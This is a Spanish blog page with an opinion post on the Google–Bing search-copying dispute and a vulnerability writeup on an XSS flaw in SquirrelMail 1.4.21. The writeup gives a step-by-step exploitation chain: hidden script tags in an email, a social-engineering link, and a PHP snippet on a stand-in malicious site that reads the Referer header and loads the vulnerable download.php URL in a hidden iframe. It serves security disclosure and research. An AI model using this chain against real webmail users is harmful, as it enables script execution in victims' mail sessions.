miércoles, febrero 02, 2011

Indexando Indexadores

Que dos multinacionales tecnológica choquen y se acusen de cosas en los tribunales es el día a día. Que si tú usas esa patente, que si me robaste esta otra, que si un amigo tuyo te ha pasado los planos del Ferrari fotocopiados, etcétera.

Y es que, en este mundo tecnológico, la cosa está que arde con el tema de las patentes y el oscurantismo de los procesos y tecnologías. Cuando alguien puede patentar el que otro te masturbe no es de extrañar que los abogados sean primeras espadas en las grandes corporaciones. Confirmando este hecho, ayer, con mucha gracia, un amigo me decía: “illo, Google no tiene más que abogados en España”. ¡Y que no se sepan bien la lección! que si no acabas como Adobe y Macromedia, tan enfangados que se tuvieron que comprar el uno al otro para salir de la “merde” legal en que se metieron.

Ahora la historia es que Google acusa a Microsoft de copiar los resultados de su buscador y el experimento tiene mucha gracia. Google eligió varias palabras para las que no había resultados ni en Google ni en Bing y creo una página de resultados falsos en Google.

Después, ojo al dato, se instalaron la barra de BING en Internet Explorer 8 y 20 ingenieros se pusieron a navegar desde sus casas con su portátil durante un periodo de tiempo para, y esto es importante, hacer clic en la el primer enlace. Desde luego, hay que valorar el uso del tiempo del talento que hace Google.

Por supuesto, BING analiza lo que el usuario busca y dónde va, y lo toma para mejorar su algoritmo, tal y como Google ha hecho sistemáticamente, como bien dicen en The Register.

Microsoft no lo niega, e incluso reconocen este comportamiento y acusan a Google de click fraudulentos y estafa. Y es que no es nuevo esto de espiar al usuario, como Google ha hecho siempre, con la barra de Google para el navegador que ha recogido información de los hábitos de browsing siempre, añadiendo en el paquete URLs de intranets, de sitios privados, etc… Google Chrome hace exactamente lo mismo así que casi no se nota en el interfaz. En algunos otros navegadores la barra de Google venía incrustada en el código como único proveedor de búsquedas y no se podía cambiar. Por supuesto, también hay que hablar del sistema de redirects para los navegadores no sometidos al yugo

Sin embargo, lo más gracioso de todo el asunto es que su página de resultados es una página web que está siendo indexada… ¡y les jode! A ellos, que han indexado las noticas que los equipos de editores han creado y seleccionado noticias para un periodico y que Google "ha copiado" para hacer Google News, que han escaneado e indexado libros para hacer negocio con ellos, que indexan los correos de sus clientes para poner anuncios, que han indexado las WiFis sin permiso, que ponen publicidad en contenidos con copyright en youtube, etcétera.

Como bien dice Cade Metz en The Register“There's some irony at play here”. Los dos se pelean por algo que los dos hacen: Espíar al usuario. Si tienes dudas, por favor, no te pierdas la charla de Moxie Marlinspike en la BlalckHat 2010.

PD: Por si alguno tiene dudas, no es copiar, es espiar, ya que no se copian todos los resultados sino solo donde se hace clic, que, en el argot Google, eso sería indexar }:)).

Saludos Malignos!

martes, febrero 01, 2011

Jugando con un XSS en Squirrelmail 1.4.21

En un servicio hosting gratuito que proporciona servicio webmail con SquirrelMail se abrió una cuenta y se creó un usuario de correo. Se han realizado pruebas sobre otros sistemas con SquirrelMail en distintas versiones y se han obtenido los mismos resultados. Las pruebas, para estos ejemplos se realizaron con Internet Explorer 8. La versión de SquirrelMail en los ejemplos es la 1.4.21.


Figura 1: Squirrelmail 1.4.21 en Internet Explorer 8

Como el correo se abre en un FRAME, se abre el enlace en una nueva pestaña, con objeto de poder ver y modificar las URLs de forma sencilla y, para probar si ejecuta scripts, se envía un correo y se mira si se puede ejecutar JavaScript desde el cuerpo del mensaje:


Figura 2: Visualización fuera de frame y envío de prueba 1

El mensaje se recibe y la URL para verlo es:

http://webmail1.freehostingnoads.net/squirrelmail/src/read_body.php?mailbox=INBOX
&passed_id=1&startMessage=1


Visitando esta URL no se ejecuta el código JavaScript. Ahora bien, si se visita la siguiente URL para descargarlo:

http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?
passed_id=1&ent_id=1&mailbox=INBOX


Nótese que el passed_id es igual al de la URL del mensaje. Por lo demás, ent_id debe valer 1 y mailbox debe ser INBOX. Se puede comprobar que, al visitar la nueva URL, se ejecutan los tres scripts insertados:


Figura 3: Ejecución de Scripts


El bug puede ser explotado como sigue:

1.- Se crea un mensaje de correo que contenga tags que en una página web causarían la ejecución de uno o varios scripts. Estos tags deberían estar por la parte final del mensaje o en un sitio que no sea fácil de ver para el usuario atacado. En una zona claramente visible, se inserta un enlace a http://sitiomalicioso.example.com. En la siguiente imagen se muestra un ejemplo en la que se ha usado un servidor web instalado en localhost.


Figura 4: Construcción del mensaje de correo electrónico con el ataque

2.- Cuando el usuario recibe el mensaje, la URL se ha convertido en un enlace. Se consigue que el usuario haga clic en él usando, por ejemplo, técnicas de ingeniería social.


Figura 6: Correo enviado a la víctima

3.- Al recibir la visita, sitiomalicioso.example.com analiza la petición y, a través de la cabecera “Referer”, determina la URL correspondiente al mensaje. De ella se obtiene el valor del parámetro passed_id

4.- sitiomalicioso.example.com genera dinámicamente una página que contenga un iframe oculto cuyo src sea:

http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?
passed_id=[valor obtenido en el paso anterior]&ent_id=1&mailbox=INBOX


El siguiente código podría ser usado para esta tarea:

<?php
$referer= $_SERVER['HTTP_REFERER'];
$my_array = explode('/', $referer);
$elements = count($my_array);
$url = $my_array[0];
for ($i = 1; $i < $elements - 1; $i ++)
     $url = $url . '/' . $my_array[$i];
$url = $url . '/download.php?&ent_id=1&mailbox=INBOX&passed_id=';
$position = strpos($referer, 'passed_id=');
$value = substr($referer, $position+10);
$my_array = explode('&', $value);
$url = $url . $my_array[0];
echo '<iframe src="' . $url . '" width=0 height=0 ></iframe>';
?>


5.- El usuario recibe la página. Entonces el IFRAME carga la URL y el script se ejecuta.


Figura 6: Script en ejecución

NOTA: Si SquirrelMail funciona sobre https, sitiomalicioso.example.com debería soportar https y tener un certificado válido. En otro caso, no se enviaría la cabecera “Referer”. El enlace del cuerpo del mensaje debería llevar a https:// sitiomalicioso.example.com

Autor: Enrique Rando

Entrada destacada

Hacking IA: Jailbreak, Prompt Injection, Hallucinations & Unalignment. Nuestro nuevo libro en 0xWord

Pocas veces me ha hecho tanta ilusión que saliera un nuevo libro en 0xWord como con este libro de " Hacking IA: Jailbreak, Prompt Inje...

Entradas populares